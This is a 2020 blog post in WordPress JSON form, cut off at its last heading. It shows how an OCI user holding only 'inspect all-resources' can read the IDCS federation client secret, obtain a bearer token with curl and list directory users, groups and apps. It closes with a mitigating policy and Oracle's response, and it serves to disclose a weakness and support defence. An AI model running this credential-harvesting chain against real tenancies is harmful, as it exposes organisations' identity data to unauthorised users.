{"id":4802,"date":"2020-10-27T18:27:53","date_gmt":"2020-10-27T21:27:53","guid":{"rendered":"https:\/\/www.dbarj.com.br\/?p=4802"},"modified":"2020-10-27T20:10:17","modified_gmt":"2020-10-27T23:10:17","slug":"why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci","status":"publish","type":"post","link":"https:\/\/www.dbarj.com.br\/en\/2020\/10\/why-you-should-avoid-giving-inspect-read-all-resources-policy-in-oci\/","title":{"rendered":"Why you should avoid giving inspect\/read all-resources policy in OCI"},"content":{"rendered":"<p>I&#8217;ve already seen many cases where a customer needs to give some read-only access on their tenancy to contractors \/ auditors \/ non-admin users. The easiest thing to is usually give &#8220;read&#8221; (or the more restrictive &#8220;inspect&#8221;) all-resources policy to that user&#8217;s group. In this article I will show how a user can use that to potentially expose some sensitive info from your company that you might not know.<\/p>\n<h4>Getting started<\/h4>\n<p><span style=\"color: #4a474b; font-size: 16px;\">First let&#8217;s say you give the more restrictive &#8220;inspect&#8221; instead of the &#8220;read&#8221; privilege.<\/span><\/p>\n<table class=\"table vl-table-bordered vl-table-divider-col\" style=\"width: 100%;\" summary=\"This table summarizes the verbs you can use in a policy statement.\">\n<thead class=\"thead\">\n<tr class=\"row\">\n<th id=\"Verbs__entry__1\" class=\"entry\" style=\"width: 11.6%;\">Verb<\/th>\n<th id=\"Verbs__entry__2\" class=\"entry\" style=\"width: 74.4%;\">Types of Access Covered<\/th>\n<th id=\"Verbs__entry__3\" class=\"entry\" style=\"width: 20.4901%;\">Target User<\/th>\n<\/tr>\n<\/thead>\n<tbody class=\"tbody\">\n<tr class=\"row\">\n<th id=\"Verbs__entry__4\" class=\"entry\" style=\"width: 11.6%;\" headers=\"Verbs__entry__1\" scope=\"row\"><code class=\"ph codeph\">inspect<\/code><\/th>\n<td class=\"entry\" style=\"width: 74.4%;\" headers=\"Verbs__entry__4 Verbs__entry__2\">Ability to list resources, without access to any confidential information or user-specified metadata that may be part of that resource.\u00a0<strong class=\"ph b\">Important:<\/strong>\u00a0The operation to list policies includes the contents of the policies themselves, and the list operations for the\u00a0<span class=\"ph\">Networking<\/span>\u00a0resource-types return all the information (e.g., the contents of security lists and route tables).<\/td>\n<td class=\"entry\" style=\"width: 20.4901%;\" headers=\"Verbs__entry__4 Verbs__entry__3\"><span style=\"color: #800000;\">Third-party auditors<\/span><\/td>\n<\/tr>\n<tr class=\"row\">\n<th id=\"Verbs__entry__7\" class=\"entry\" style=\"width: 11.6%;\" headers=\"Verbs__entry__1\" scope=\"row\"><code class=\"ph codeph\">read<\/code><\/th>\n<td class=\"entry\" style=\"width: 74.4%;\" headers=\"Verbs__entry__7 Verbs__entry__2\">Includes\u00a0<code class=\"ph codeph\">inspect<\/code>\u00a0plus the ability to get user-specified metadata and the actual resource itself.<\/td>\n<td class=\"entry\" style=\"width: 20.4901%;\" headers=\"Verbs__entry__7 Verbs__entry__3\"><span style=\"color: #800000;\">Internal auditors<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p style=\"text-align: right;\"><em>Source: <a href=\"https:\/\/docs.cloud.oracle.com\/en-us\/iaas\/Content\/Identity\/Concepts\/policies.htm\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/docs.cloud.oracle.com\/en-us\/iaas\/Content\/Identity\/Concepts\/policies.htm<\/a><\/em><\/p>\n<p>So, in theory, inspect should not give you access to any confidential metadata. Let&#8217;s try however to create an inspect all-resources user to test it capabilities.<\/p>\n<p>In this demo I will create:<\/p>\n<p><strong>User:<\/strong> oci_user_readonly<br \/>\n<strong>Group:<\/strong> oci_group_readonly<br \/>\n<strong>Policy:<\/strong> oci_policy_readonly ( &#8220;allow group oci_group_readonly to inspect any-resource on tenancy&#8221; )<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\"># Create User\r\noci iam user create --name oci_user_readonly --description \"OCI User with inspect all-resources.\"\r\n\r\n# Create Group\r\noci iam group create --name oci_group_readonly --description \"OCI Group with inspect all-resources.\"\r\n\r\n# Add User to Group\r\noci iam group add-user \\\r\n--user-id ocid1.user.oc1..aaaaaaaammz45b2fwiweoxyll6amqsrwpo7ll7fl2hymflogwxfrn4lhmara \\\r\n--group-id ocid1.group.oc1..aaaaaaaa5sipudlpetqo7sihu7schu6tpxkdygpf6iyxwki4yh3lsq66x5wq\r\n\r\n# Add Policy\r\noci iam policy add \\\r\n--compartment-id ocid1.tenancy.oc1..aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna \\\r\n--name oci_policy_readonly \\\r\n--description \"OCI Policy with inspect all-resources.\" \\\r\n--statements '[ \"allow group oci_group_readonly to inspect all-resources on tenancy\" ]'\r\n<\/pre>\n<p>Finally I will add a API Key on this <strong>&#8220;inspect-only&#8221;<\/strong> user and create a profile in my OCI-CLI named <strong>&#8220;INSPECT_ONLY&#8221;<\/strong> with this user credentials.<\/p>\n<p>Now, what if I configure this user and try to list some of the tenancy objects?<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ oci --profile INSPECT_ONLY iam region-subscription list\r\n{\r\n  \"data\": [\r\n    {\r\n      \"is-home-region\": true,\r\n      \"region-key\": \"IAD\",\r\n      \"region-name\": \"us-ashburn-1\",\r\n      \"status\": \"READY\"\r\n    }\r\n  ]\r\n}<\/pre>\n<p>Great, my inspect-only user is working.. now going straight to the point of this article, what happens if I try to get the list of identity providers federated with my tenancy?<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ oci --profile INSPECT_ONLY iam identity-provider list --protocol SAML2 --compartment-id ocid1.tenancy.oc1..aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna\r\n{\r\n  \"data\": [\r\n    {\r\n      \"compartment-id\": \"ocid1.tenancy.oc1..aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna\",\r\n      \"defined-tags\": {\r\n        \"Oracle-Tags\": {\r\n          \"CreatedBy\": \"organizationscontrolplane\",\r\n          \"CreatedOn\": \"2020-03-03T23:37:44.537Z\"\r\n        }\r\n      },\r\n      \"description\": \"Oracle identity cloud service added during account creation\",\r\n      \"freeform-attributes\": {\r\n        \"externalAppId\": \"69b3844f3c894f988398a32d16ca5cc7\",\r\n        \"externalClientId\": \"ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID\",\r\n        \"externalClientSecret\": \"316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\r\n        \"federationVersion\": \"2\"\r\n      },\r\n      \"freeform-tags\": {},\r\n      \"id\": \"ocid1.saml2idp.oc1..aaaaaaaauzu5s77yqfvvd6q6autpskl7tougpdwzmvuudmhblgfz2pp764sq\",\r\n      \"inactive-status\": null,\r\n      \"lifecycle-state\": \"ACTIVE\",\r\n      \"metadata-url\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com\",\r\n      \"name\": \"OracleIdentityCloudService\",\r\n      \"product-type\": \"IDCS\",\r\n      \"protocol\": \"SAML2\",\r\n      \"redirect-url\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com\/fed\/v1\/idp\/sso\",\r\n      \"signing-certificate\": null,\r\n      \"time-created\": \"2020-03-03T23:37:44.552000+00:00\"\r\n    }\r\n  ]\r\n}<\/pre>\n<p>So, if we check the output above, there are 3 attributes that I consider &#8220;sensitive info&#8221;. Any user with inspect all-resources can retrieve:<\/p>\n<ul>\n<li><strong>metadata-url:<br \/>\n<\/strong>https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com<\/li>\n<li><strong>externalClientId:<br \/>\n<\/strong>ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID<\/li>\n<li><strong>externalClientSecret:<br \/>\n<\/strong>316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx<\/li>\n<\/ul>\n<p>The inspect all-resources indirectly gives permissions on <code>IDENTITY_PROVIDER_INSPECT<\/code>. What is unexpected is that this request permission has the privilege to get the Client ID and Secret used to connect my OCI with my IDCS. Maybe this should be only retrievable via <code>IDENTITY_PROVIDER_READ<\/code> and thus using an oci-cli get, instead of list operation.<\/p>\n<h4>What someone could do with it?<\/h4>\n<p>So, with those 3 peaces together, we can try to explore what permissions does this app give on IDCS and see if we could get some further info of this tenancy. Let&#8217;s run some REST and see what can we do&#8230;<\/p>\n<p>I will export my IDCS url first because I will use it in all REST and I don&#8217;t want to type it over 10x.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ export v_idcs_url=\"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com\"\r\n<\/pre>\n<p>So first let me get an access token to this app:<\/p>\n<pre class=\"lang:js decode:true \">$ curl -s --location --request POST \"$v_idcs_url\/oauth2\/v1\/token\" \\\r\n-u ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID:316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx \\\r\n--data-urlencode 'grant_type=client_credentials' \\\r\n--data-urlencode 'scope=urn:opc:idm:__myscopes__'\r\n{\r\n  \"access_token\": \"eyJ4NXQjUzI1NiI6Ijc0b2Z2NnhMY0htZk56LWVNV2MxNm1OTmNTRHhob1lFMVFMLU1TWUNjQUUiLCJ4NXQiOiJqYzNiSVRjcG1OT003U3UtZTIyLVQwVjl2dTAiLCJraWQiOiJTSUdOSU5HX0tFWSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiJvY2lkMXRlbmFuY3lvYzFhYWFhYWFhYXVubjczZW1nZ2VzYXl6bndscWV1bnZtYnNtYnRnemJpZ2Q2N210andidTJkb3E0NGlnbmFfQVBQSUQiLCJndHAiOiJjYyIsInVzZXIudGVuYW50Lm5hbWUiOiJpZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0Iiwic3ViX21hcHBpbmdhdHRyIjoidXNlck5hbWUiLCJwcmltVGVuYW50Ijp0cnVlLCJpc3MiOiJodHRwczpcL1wvaWRlbnRpdHkub3JhY2xlY2xvdWQuY29tXC8iLCJ0b2tfdHlwZSI6IkFUIiwiY2xpZW50X2lkIjoib2NpZDF0ZW5hbmN5b2MxYWFhYWFhYWF1bm43M2VtZ2dlc2F5em53bHFldW52bWJzbWJ0Z3piaWdkNjdtdGp3YnUyZG9xNDRpZ25hX0FQUElEIiwiY2FfZ3VpZCI6ImNhY2N0LTljY2QxY2I2NjYxMjRiOTU4NzQ2NzZjZmRkOTk3YzM2IiwiYXVkIjpbImh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbSIsInVybjpvcGM6bGJhYXM6bG9naWNhbGd1aWQ9aWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCJdLCJzdWJfdHlwZSI6ImNsaWVudCIsImNsaWVudEFwcFJvbGVzIjpbIlVzZXIgVmlld2VyIiwiQXV0aGVudGljYXRlZCBDbGllbnQiXSwic2NvcGUiOiJ1cm46b3BjOmlkbTp0LnNlY3VyaXR5LmNsaWVudCB1cm46b3BjOmlkbTp0LmFwcHNlcnZpY2VzIHVybjpvcGM6aWRtOnQudXNlcnZpZXdlciB1cm46b3BjOmlkbTp0Lm5hbWVkYXBwYWRtaW4iLCJjbGllbnRfdGVuYW50bmFtZSI6ImlkY3MtOGYyMjNmZGVkNmM1NDFmOWIyNjZjMDkwMWYzZDU5NjQiLCJleHAiOjE2MDM4MjgyNDUsImlhdCI6MTYwMzgyNDY0NSwidGVuYW50X2lzcyI6Imh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbTo0NDMiLCJjbGllbnRfZ3VpZCI6IjY5YjM4NDRmM2M4OTRmOTg4Mzk4YTMyZDE2Y2E1Y2M3IiwiY2xpZW50X25hbWUiOiJPQ0ktVjItQXBwLWRiYXJqIiwidGVuYW50IjoiaWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCIsImp0aSI6IjExZWIxODg1NTIxODhkZjRhZmI1MjdjYzdjYmU4NzUyIn0.FbhdM8oPXD5hq86cD1QjC8GOqp6WnZgzuDTS3tix4AHiXmttW2usyv8TjfzxqSnIPmzdBjat_mBAKYsxVgtcg4kT4cHcfHco9aE66AUrhYbvzc-uIR8yvHfweYuOo-slHiZOluUqVkE1n4T2F3WsLSen-ePSHkw-LI11HZxsXFFXWLhuJXSHAwbvUsm1eCI0VMGmpggSEtJsn_BLzQmuWxwRui6s6arHwQFcZ-LHhQeUsdr7QfWKme0-wBRdHhJ-m6Q02-CK-m7zpOCCHTW4C-aVgHVhAjnPgRbX4rfXYmf7X3trXtsqy4-ikgUQc2-ulR8jlMP-uZqOlx\",\r\n  \"token_type\": \"Bearer\",\r\n  \"expires_in\": 3600\r\n}<\/pre>\n<p>Now I will export this access_token and try to run some REST against some IDCS resources:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ export v_access_token='eyJ4NXQjUzI1NiI6Ijc0b2Z2NnhMY0htZk56LWVNV2MxNm1OTmNTRHhob1lFMVFMLU1TWUNjQUUiLCJ4NXQiOiJqYzNiSVRjcG1OT003U3UtZTIyLVQwVjl2dTAiLCJraWQiOiJTSUdOSU5HX0tFWSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiJvY2lkMXRlbmFuY3lvYzFhYWFhYWFhYXVubjczZW1nZ2VzYXl6bndscWV1bnZtYnNtYnRnemJpZ2Q2N210andidTJkb3E0NGlnbmFfQVBQSUQiLCJndHAiOiJjYyIsInVzZXIudGVuYW50Lm5hbWUiOiJpZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0Iiwic3ViX21hcHBpbmdhdHRyIjoidXNlck5hbWUiLCJwcmltVGVuYW50Ijp0cnVlLCJpc3MiOiJodHRwczpcL1wvaWRlbnRpdHkub3JhY2xlY2xvdWQuY29tXC8iLCJ0b2tfdHlwZSI6IkFUIiwiY2xpZW50X2lkIjoib2NpZDF0ZW5hbmN5b2MxYWFhYWFhYWF1bm43M2VtZ2dlc2F5em53bHFldW52bWJzbWJ0Z3piaWdkNjdtdGp3YnUyZG9xNDRpZ25hX0FQUElEIiwiY2FfZ3VpZCI6ImNhY2N0LTljY2QxY2I2NjYxMjRiOTU4NzQ2NzZjZmRkOTk3YzM2IiwiYXVkIjpbImh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbSIsInVybjpvcGM6bGJhYXM6bG9naWNhbGd1aWQ9aWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCJdLCJzdWJfdHlwZSI6ImNsaWVudCIsImNsaWVudEFwcFJvbGVzIjpbIlVzZXIgVmlld2VyIiwiQXV0aGVudGljYXRlZCBDbGllbnQiXSwic2NvcGUiOiJ1cm46b3BjOmlkbTp0LnNlY3VyaXR5LmNsaWVudCB1cm46b3BjOmlkbTp0LmFwcHNlcnZpY2VzIHVybjpvcGM6aWRtOnQudXNlcnZpZXdlciB1cm46b3BjOmlkbTp0Lm5hbWVkYXBwYWRtaW4iLCJjbGllbnRfdGVuYW50bmFtZSI6ImlkY3MtOGYyMjNmZGVkNmM1NDFmOWIyNjZjMDkwMWYzZDU5NjQiLCJleHAiOjE2MDM4MjgyNDUsImlhdCI6MTYwMzgyNDY0NSwidGVuYW50X2lzcyI6Imh0dHBzOlwvXC9pZGNzLThmMjIzZmRlZDZjNTQxZjliMjY2YzA5MDFmM2Q1OTY0LmlkZW50aXR5Lm9yYWNsZWNsb3VkLmNvbTo0NDMiLCJjbGllbnRfZ3VpZCI6IjY5YjM4NDRmM2M4OTRmOTg4Mzk4YTMyZDE2Y2E1Y2M3IiwiY2xpZW50X25hbWUiOiJPQ0ktVjItQXBwLWRiYXJqIiwidGVuYW50IjoiaWRjcy04ZjIyM2ZkZWQ2YzU0MWY5YjI2NmMwOTAxZjNkNTk2NCIsImp0aSI6IjExZWIxODg1NTIxODhkZjRhZmI1MjdjYzdjYmU4NzUyIn0.FbhdM8oPXD5hq86cD1QjC8GOqp6WnZgzuDTS3tix4AHiXmttW2usyv8TjfzxqSnIPmzdBjat_mBAKYsxVgtcg4kT4cHcfHco9aE66AUrhYbvzc-uIR8yvHfweYuOo-slHiZOluUqVkE1n4T2F3WsLSen-ePSHkw-LI11HZxsXFFXWLhuJXSHAwbvUsm1eCI0VMGmpggSEtJsn_BLzQmuWxwRui6s6arHwQFcZ-LHhQeUsdr7QfWKme0-wBRdHhJ-m6Q02-CK-m7zpOCCHTW4C-aVgHVhAjnPgRbX4rfXYmf7X3trXtsqy4-ikgUQc2-ulR8jlMP-uZqOlx'<\/pre>\n<p>Getting <span style=\"text-decoration: underline;\">all<\/span> the <strong>IDCS Users<\/strong>:<\/p>\n<pre class=\"lang:js decode:true\">$ curl -s --location --request GET \"$v_idcs_url\/admin\/v1\/Users\" \\\r\n&gt; --header \"Authorization: Bearer $v_access_token\" \\\r\n&gt; --header 'Content-Type: application\/json'\r\n{\r\n  \"schemas\": [\r\n    \"urn:ietf:params:scim:api:messages:2.0:ListResponse\"\r\n  ],\r\n  \"totalResults\": 1,\r\n  \"Resources\": [\r\n    {\r\n      \"idcsCreatedBy\": {\r\n        \"type\": \"App\",\r\n        \"display\": \"idcssm\",\r\n        \"value\": \"6923eddd11d1457084f550273b51027a\",\r\n        \"$ref\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Apps\/6923eddd11d1457084f550273b51027a\"\r\n      },\r\n      \"id\": \"fc10ff2be16a40b68c4c30957ff66293\",\r\n      \"urn:ietf:params:scim:schemas:oracle:idcs:extension:user:User\": {\r\n        \"isFederatedUser\": false\r\n      },\r\n      \"meta\": {\r\n        \"created\": \"2020-03-03T23:34:18.038Z\",\r\n        \"lastModified\": \"2020-10-27T18:35:43.006Z\",\r\n        \"resourceType\": \"User\",\r\n        \"location\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Users\/fc10ff2be16a40b68c4c30957ff66293\"\r\n      },\r\n      \"active\": true,\r\n      \"displayName\": \"Rodrigo Jorge\",\r\n      \"idcsLastModifiedBy\": {\r\n        \"value\": \"af2d1df6c13f493b9f3131baae2e8638\",\r\n        \"display\": \"idcssso\",\r\n        \"type\": \"App\",\r\n        \"$ref\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Apps\/af2d1df6c13f493b9f3131baae2e8638\"\r\n      },\r\n      \"name\": {\r\n        \"givenName\": \"Rodrigo\",\r\n        \"familyName\": \"Jorge\",\r\n        \"formatted\": \"Rodrigo Jorge\"\r\n      },\r\n      \"nickName\": \"TAS_TENANT_ADMIN_USER\",\r\n...<\/pre>\n<p>Or maybe getting all <strong>IDCS Groups<\/strong>?<\/p>\n<pre class=\"lang:js decode:true\">$ curl -s --location --request GET \"$v_idcs_url\/admin\/v1\/Groups\" \\\r\n--header \"Authorization: Bearer $v_access_token\" \\\r\n--header 'Content-Type: application\/json'\r\n{\r\n  \"schemas\": [\r\n    \"urn:ietf:params:scim:api:messages:2.0:ListResponse\"\r\n  ],\r\n  \"totalResults\": 3,\r\n  \"Resources\": [\r\n    {\r\n      \"idcsLastModifiedBy\": {\r\n        \"value\": \"6923eddd11d1457084f550273b51027a\",\r\n        \"type\": \"App\",\r\n        \"display\": \"idcssm\",\r\n        \"$ref\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Apps\/6923eddd11d1457084f550273b51027a\"\r\n      },\r\n      \"displayName\": \"IDCS_Administrators\",\r\n      \"meta\": {\r\n        \"created\": \"2020-03-03T23:34:18.251Z\",\r\n        \"lastModified\": \"2020-03-03T23:34:18.251Z\",\r\n        \"resourceType\": \"Group\",\r\n        \"location\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Groups\/2874a9a87a294c74b4030b5c9e454bf7\"\r\n      },\r\n      \"idcsCreatedBy\": {\r\n        \"type\": \"App\",\r\n        \"display\": \"idcssm\",\r\n        \"value\": \"6923eddd11d1457084f550273b51027a\",\r\n        \"$ref\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Apps\/6923eddd11d1457084f550273b51027a\"\r\n      },\r\n      \"urn:ietf:params:scim:schemas:oracle:idcs:extension:group:Group\": {\r\n        \"description\": \"IDCS Group with Administrator privileges\"\r\n      },\r\n      \"id\": \"2874a9a87a294c74b4030b5c9e454bf7\",\r\n      \"schemas\": [\r\n        \"urn:ietf:params:scim:schemas:core:2.0:Group\",\r\n        \"urn:ietf:params:scim:schemas:oracle:idcs:extension:group:Group\"\r\n      ],\r\n      \"urn:ietf:params:scim:schemas:oracle:idcs:extension:dynamic:Group\": {\r\n        \"membershipType\": \"static\"\r\n      }\r\n    },\r\n    {\r\n      \"idcsLastModifiedBy\": {\r\n        \"value\": \"a1b0d040f5a648b7a1608b434dff1f2e\",\r\n        \"type\": \"App\",\r\n        \"display\": \"COMPUTEBAREMETAL\",\r\n        \"$ref\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Apps\/a1b0d040f5a648b7a1608b434dff1f2e\"\r\n      },\r\n      \"displayName\": \"OCI_Administrators\",\r\n      \"meta\": {\r\n        \"created\": \"2020-03-03T23:37:44.181Z\",\r\n        \"lastModified\": \"2020-03-03T23:37:44.181Z\",\r\n        \"resourceType\": \"Group\",\r\n        \"location\": \"https:\/\/idcs-8f223fded6c541f9b266c0901f3d5964.identity.oraclecloud.com:443\/admin\/v1\/Groups\/90493db74f194429a47416c1f58d5dd0\"\r\n...<\/pre>\n<p>Or we can go deeper and list all <strong>IDCS Apps<\/strong> we have in this account:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">$ curl -s --location --request GET \"$v_idcs_url\/admin\/v1\/Apps?attributes=displayName,active,name,clientSecret,id\" \\\r\n--header \"Authorization: Bearer $v_access_token\" \\\r\n--header 'Content-Type: application\/json'\r\n{\r\n  \"schemas\": [\r\n    \"urn:ietf:params:scim:api:messages:2.0:ListResponse\"\r\n  ],\r\n  \"totalResults\": 49,\r\n  \"Resources\": [\r\n    {\r\n      \"displayName\": \"ADWC\",\r\n      \"serviceTypeURN\": \"ADWC_ServiceEntitlement\",\r\n      \"isManagedApp\": false,\r\n      \"isAliasApp\": false,\r\n      \"meterAsOPCService\": true,\r\n      \"id\": \"eaa22eb40fb9401eab67bafd24a00d01\",\r\n      \"active\": true,\r\n      \"isOPCService\": true,\r\n      \"basedOnTemplate\": {\r\n        \"value\": \"OPCAppTemplateId\"\r\n      },\r\n      \"name\": \"ADWCApp-7c994e707a8c4701aa0d1fe5ae5af6cb_APPID\"\r\n    },\r\n    {\r\n      \"displayName\": \"ADWCApp-7c994e707a8c4701aa0d1fe5ae5af6cb_ADWC_IMPERSONATE\",\r\n      \"serviceTypeURN\": \"ADWC_ServiceEntitlement\",\r\n      \"isManagedApp\": false,\r\n      \"clientType\": \"confidential\",\r\n      \"isAliasApp\": true,\r\n      \"meterAsOPCService\": true,\r\n      \"id\": \"10832d14b3614130bd7b025c2963c76c\",\r\n      \"active\": true,\r\n      \"isOPCService\": true,\r\n      \"basedOnTemplate\": {\r\n        \"value\": \"OPCAppTemplateId\"\r\n      },\r\n      \"name\": \"ADWCApp-7c994e707a8c4701aa0d1fe5ae5af6cb_ADWC_IMPERSONATE_APPID\"\r\n    },\r\n...<\/pre>\n<p>So, as you could note, I can list several info on IDCS that may contain info that will open doors to further attacks vectors or even some sensitive info, like every IDCS User data \/ company \/ phone \/ etc. If you have an IDCS connected with your company Active Directory via bridge integration, this could potentially expose every single company account to the &#8220;inspect-only&#8221; user.<\/p>\n<h4><strong>Now let me try to do some mess..<\/strong><\/h4>\n<p>What if I try to <span style=\"text-decoration: underline;\">delete some App<\/span> on IDCS:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">$ curl -s --location --request DELETE \"$v_idcs_url\/admin\/v1\/Apps\/69b3844f3c894f988398a32d16ca5cc7\" \\\r\n&gt; --header \"Authorization: Bearer $v_access_token\" \\\r\n&gt; --data-raw ''\r\n{\r\n  \"schemas\": [\r\n    \"urn:ietf:params:scim:api:messages:2.0:Error\",\r\n    \"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error\"\r\n  ],\r\n  \"detail\": \"OCI-V2-App-dbarj is not allowed to DELETE \/Apps.\",\r\n  \"status\": \"401\",\r\n  \"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error\": {\r\n    \"messageId\": \"error.common.common.accessDenied\"\r\n  }\r\n}<\/pre>\n<p>Failed. **relieved**\u00a0 =]<\/p>\n<p>So you may be asking what permissions this APP have in OCI?<\/p>\n<pre class=\"lang:js decode:true \">{\r\n  \"displayName\": \"OCI-V2-App-dbarj\",\r\n  \"serviceTypeURN\": \"COMPUTEBAREMETAL_ServiceEntitlement\",\r\n  \"isManagedApp\": true,\r\n  \"clientType\": \"confidential\",\r\n  \"isAliasApp\": false,\r\n  \"id\": \"69b3844f3c894f988398a32d16ca5cc7\",\r\n  \"active\": true,\r\n  \"isOPCService\": true,\r\n  \"basedOnTemplate\": {\r\n    \"value\": \"OCIAppTemplateId\"\r\n  },\r\n  \"name\": \"ocid1tenancyoc1aaaaaaaaunn73emggesayznwlqeunvmbsmbtgzbigd67mtjwbu2doq44igna_APPID\",\r\n  \"clientSecret\": \"316570c4-xxxx-xxxx-xxxx-xxxxxxxxxxxx\",\r\n  \"urn:ietf:params:scim:schemas:oracle:idcs:extension:managedapp:App\": {\r\n    \"accountFormVisible\": false\r\n  },\r\n  \"grantedAppRoles\": [\r\n    {\r\n      \"value\": \"d41949dce5f04a40af74511324b06933\",\r\n      \"appId\": \"IDCSAppId\",\r\n      \"display\": \"User Viewer\",\r\n      \"type\": \"direct\",\r\n      \"appName\": \"IDCSApp\",\r\n      \"adminRole\": true\r\n    }\r\n  ]\r\n}<\/pre>\n<p>So checking on the UI or using REST, we can see it has only this &#8220;User Viewer&#8221; role:<\/p>\n<p id=\"VPIiEFu\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-4813 \" src=\"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537.png\" alt=\"\" width=\"528\" height=\"166\" srcset=\"https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537.png 1112w, https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537-300x94.png 300w, https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537-1024x320.png 1024w, https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537-768x240.png 768w, https:\/\/www.dbarj.com.br\/wp-content\/uploads\/2020\/10\/img_5f9873e9b9537-870x272.png 870w\" sizes=\"auto, (max-width: 528px) 100vw, 528px\" \/><\/p>\n<p>Good, &#8220;<strong>User Viewer<\/strong>&#8221; role is not so dangerous. Most of the DELETE\/POST\/PATCH APIs are not opened to this App Role. However, as I mentioned, it has access to read every single user\/group\/app\/grants\/etc on IDCS.<\/p>\n<p>Even if I try to regenerate the secret for this app, this is not opened to this app:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">$ curl -s --location --request GET \"$v_idcs_url\/admin\/v1\/AppClientSecretRegenerator\/69b3844f3c894f988398a32d16ca5cc7\" \\\r\n--header \"Authorization: Bearer $v_access_token\" \\\r\n--header 'Content-Type: application\/json'\r\n{\r\n  \"schemas\": [\r\n    \"urn:ietf:params:scim:api:messages:2.0:Error\",\r\n    \"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error\"\r\n  ],\r\n  \"detail\": \"OCI-V2-App-dbarj isn't a Service Administrator for this app.\",\r\n  \"status\": \"400\",\r\n  \"urn:ietf:params:scim:api:oracle:idcs:extension:messages:Error\": {\r\n    \"messageId\": \"error.application.app.isNotServiceAdmin\"\r\n  }\r\n}<\/pre>\n<h4>So what do I do if I want a user to see everything without exposing sensitive info?<\/h4>\n<p>You can either stop giving all-resources privileges and use the\u00a0<a href=\"https:\/\/en.wikipedia.org\/wiki\/Principle_of_least_privilege\" target=\"_blank\" rel=\"noopener noreferrer\">principle of least privilege<\/a> (recommended) or if you don&#8217;t want to control each resource access, you can change your policy to:<\/p>\n<p><code>allow group xxx to inspect all-resources in tenancy where request.permission!='IDENTITY_PROVIDER_INSPECT'<\/code><\/p>\n<h4>Oracle thoughts<\/h4>\n<p>Before posting this article, I tried to reach Oracle via SR and show about this security issue (or maybe let&#8217;s call is unnecessary &#8220;exposure&#8221;). However, they stated very clearly that <em>&#8220;this is working as expected , if you need to restrict the user then you need to explicitly give permissions to users or groups.&#8221;.\u00a0<\/em><\/p>\n<h4>My 